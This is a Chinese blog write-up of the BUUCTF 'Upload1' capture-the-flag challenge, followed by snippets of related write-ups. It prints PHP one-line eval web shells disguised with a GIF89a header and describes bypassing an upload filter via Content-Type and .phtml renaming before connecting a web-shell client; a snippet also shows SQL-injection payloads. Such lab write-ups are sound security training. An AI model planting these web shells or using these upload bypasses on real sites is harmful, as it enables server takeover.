【BUUCTF]极客大挑战 2019Upload1 write up

已于 2022-04-24 08:37:49 修改
阅读量718 收藏 4
点赞数
分类专栏： BUUCTF 文章标签： web
于 2022-04-23 21:52:57 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/GZWZ_/article/details/124015118
版权

随意上传，得到：

我们尝试上传php、图片，其他文件都不行！？ 

一句话木马，同上

<script language='php'>eval($_POST['shell']);</script> 
GIF89a
<script language="php">eval($_POST['aa']);</script>

 木马种类很多，大家都可以试试！（GIF89a是为了绕过Content-Type）

用shell.phtml直接上传，就是酱！ 

因此我们需要修改文件后缀，只要是图片就行 （文件换头术）

上传成功，说明我们绕过了检测，重新上传后继续抓包，修改文件后缀为phtml 

 

放包！！！ 

在unload路径之下访问shell.phtml文件 

上传成功后，访问文件 

访问成功，打开蚁🗡连接 

文件很多，直接返回根目录，或者打开终端用cat/flag查找flag 

添砖@Java
关注
  • 0
    点赞
  • 踩
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
[极客大挑战 2019]Upload 1(文件上传)
weixin_45253573的博客
12-08 1万+
打开环境是一个上传图片的页面。 先上传一句话木马试试，这里格式直接不变，先上传看看。 <?php eval($_POST['b'])?> <?php $_GET['a']($_POST['b'])?> 提示说不是图片，需要抓包改文件格式。将Content-Type里面的格式改为image/jpeg 绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht 前几个php格式的一句话都被b了，比如php3 将文件格式改到phtml可以了，但带<?的一句话
【BUUCTF-Web】[极客大挑战 2019]Upload
weixin_49298681的博客
01-05 1036
Upload=> 文件上传漏洞。
BUUCTF——[极客大挑战 2019]Upload 1
qq_53175607的博客
12-04 2662
1.打开后发现是文件上传题 构建一句话木马 <?php @eval($_POST['shy']);?> 将一句话木马改成jpg文件尝试上传。 抓包改成php 提示文件包含<?,那么我们有思路了，上传图片的时候还扫描了图片头，将一句话木马加图片头 2.然后和一步骤一样上传 ...
BUUCTF-[极客大挑战 2019]Upload1
Monica的博客
09-14 1881
题目： 分析： 一个文件上传漏洞 上传一个1.php文件内容为：<?php eval($_POST[1]);?> 发现报错。 查看源代码，没有关于过滤的代码，说明是后端进行的过滤。 bp抓包：修改MIME 报错说不能是php文件、绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht 发现只要phtml文件可以使用，修改后缀为phtml phtml一般是指嵌入了php代码的html文件，但是同样也会作为php解析 PHT文件是一个HTM.
[极客大挑战 2019]Upload 1
lppdlgg的博客
04-17 2892
1.判断为文件上传漏洞 2.在后续上传中发现有以下要求： 1..jpg格式 2. 文件内容不能有<? 3.部分php后缀被屏蔽 4.发现用.phtml可行 5.写入内容GIF89a? <script language="php">eval($_REQUEST[saxion])</script> 6.抓包，删除;.jpg后缀并重发 7.在url/upload中找到刚刚上传的文件，进入并复制地址 8.用蚁剑进行连接（succeed） 9.在...
buuctf-web-[极客大挑战 2019]Upload1
mlws1900的博客
08-11 1339
第一个点，修改phtml，第二个点GIF89a（这个点特别的重要，上面我写的代码没有包含），第三个点要用包含。scriptcmd.phtml是我们上传的webshell。我写的webshell里面加了phpinfo();上传的文件夹upload，找到我们上传的文件。bp后缀名修改phtml，加上下面代码。先上传一个无内容的jpg文件。文件里面要加GIF89a。蚁剑连接，获得flag。上传了一个小马代码为。...
[极客大挑战 2019]Upload
Do1phln的博客
09-05 126
上传成功，接着猜测文件保存的位置，首先猜测路径为upload，那么打开蚁剑尝试一下，连接成功，在根目录下即可找到flag。，上传失败，提示Do not lie me，怀疑是对图片内容有检测，因此在这之前再加上一部分。访问之后是一个文件上传的页面，接着就可以想到上传一句话木马进行控制。接着上传，用bp抓包修改文件类型为。
阿里云IoT极客创新挑战赛.pdf
08-29
高级设计专家 望海 在2018云栖大会·上海峰会中做了题为《阿里云 IoT 极客创新挑战赛》的分享,就极客挑战赛创意来源、赛事的技术平台、赛事进程等方面的内容做了深入的分析。
2019年三诺集团四周年庆典极客摇滚跑活动方案.pptx
05-06
此文档描述的是2019年三诺集团四周年庆典的一项独特活动——“极客摇滚跑”。这是一场集科技、运动和音乐于一体的大型庆典，旨在庆祝三诺集团的周年纪念，并促进北海市高新产业园及其相关企业的交流与合作。活动的...
极客学院 idea教程 含2017.1版本 PDF及两个视频
11-16
【标题】"极客学院 idea教程 含2017.1版本 PDF及两个视频" 涵盖了IntelliJ IDEA的使用方法和实践，是针对2017.1版本的详细教学资源。IntelliJ IDEA是一款流行的Java集成开发环境（IDE），由JetBrains公司开发，广泛...
21.GeekPwn 2019极客大赛之安全攻防技术总结及ShowTime1
08-03
在本文中，我们将探讨2019年GeekPwn极客大赛中的安全攻防技术，这是一个展示最新网络安全技术的平台。作者通过亲身体验，分享了大赛中的亮点和精彩瞬间，涵盖了云安全、隐私保护、机器学习、智能设备安全等多个领域...
极客学院JAVA视频教程 新版 7大部分
08-08
Java语言视频教程 极客学院JAVA视频教程 新版 7大部分
Buuctf-[极客大挑战 2019]Upload
m0_63563528的博客
04-20 235
还是不行，出现上面这个提示，说明它还检测了我的文件头是不是jpg。一般我们可以用几何画板随便做一张图片，然后在图片中插入一句话木马，这里我为什么不用呢？因为图片中容易存在<?这个字段而被过滤掉。诶这里发现它还有检测，检查到我的内容有<?，又被拦截了，上网查了一下。
CTF第七天
qq_52680097的博客
05-31 192
[强网杯 2019]随便注 1 先打这个 1' and 1=1#和 1' and 1=2# 返回结果不同，说明有sql注入 再打1' or 1=1# 虽然不知道这些信息有啥用 再看看有几列 当输入1' order by 3#时返回了报错信息，说明只有2列 接下来试试堆叠注入 堆叠注入原理 在sql中，分号表示一条语句的结束。如果在分号的后面再加一条语句，这条语句也可以被执行，继续加一个分号和一条语句，这样就可以在一次数据库的调用中执行多个语句。 mysql> select * from user
BUUCTF [极客大挑战 2020] Roamphp1-Welcome
Senimo
12-21 1270
BUUCTF [极客大挑战 2020] Roamphp1-Welcome 考点： POST传参方式 sha1()不能加密数组 启动题目： 等了一阵子，一直是这样，查阅其他wp得知，原题中提示有：换一种请求方式 使用BurpSuite抓去数据包： 将传参方式修改为POST，发送数据包，得到题目源码： error_reporting(0); if ($_SERVER['REQUEST_METHOD'] !== 'POST') { header("HTTP/1.1 405 Method Not Allow
极客大挑战2019——easy sql
qq_44308327的博客
11-25 3411
既然是sql注入，那就按照注入流程来 1、先找注入类型 payload：?username=admin&password=1 payload：?username=admin&password=2-1 //判断页面是否相同 两次注入结构页面相同，由此判断为整形注入 2、找回显位 payload：?username=admin&password=1' order by 3%23 payload：?username=admin&password=1' or.
BUUCTF之[极客大挑战 2019]EasySQL 1
weixin_44632787的博客
06-13 532
BUUCTF之[极客大挑战 2019]EasySQL 1 开启靶机，看到我们的挑战界面 这个页面看起来就很像是SQL注入，而且我们的题目也有提示到。。。 OK，我们先输入一个万能密码看看~~~账号：1’ or 1=1 # 密码可以随便输入 好吧，这题过于简单。。。。。。 得到的Flag是：flag{f3bcaef4-f19b-4e56-bf4d-9780988e0b89} ...
web buuctf [极客大挑战 2019]Secret File1
weixin_44214568的博客
08-05 289
1.点击靶机，查看到主页的源代码，源代码含有Archive_room.php；打开该文件，发现源代码中含有action.php，继续点开，界面提示
05创建公务卡扣减明细表_CASH_USE_MINUSAMT_DETAIL_20240708-刘君.sql
最新发布
07-19
05创建公务卡扣减明细表_CASH_USE_MINUSAMT_DETAIL_20240708-刘君.sql
buuctf 极客大挑战2019php
08-24
buuctf 极客大挑战2019php是指buuctf举办的一个PHP编程比赛，它是基于阿里云IoT技术平台的创新挑战赛。在该比赛中，参赛者需要利用PHP编写代码解决一系列技术难题。这些问题可能涉及到序列化、反序列化、变量值的展示等。序列化是指将对象转化为字符串的过程，而反序列化则是将字符串转化为对象的过程。在PHP中，可以使用serialize()函数进行序列化，并使用var_dump()函数进行反序列化结果的展示。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [阿里云IoT极客创新挑战赛.pdf](https://download.csdn.net/download/weixin_38744375/11634853)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* *3* [【BUUCTF-Web】 [极客大挑战 2019]PHP](https://blog.csdn.net/m0_51683653/article/details/126693573)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值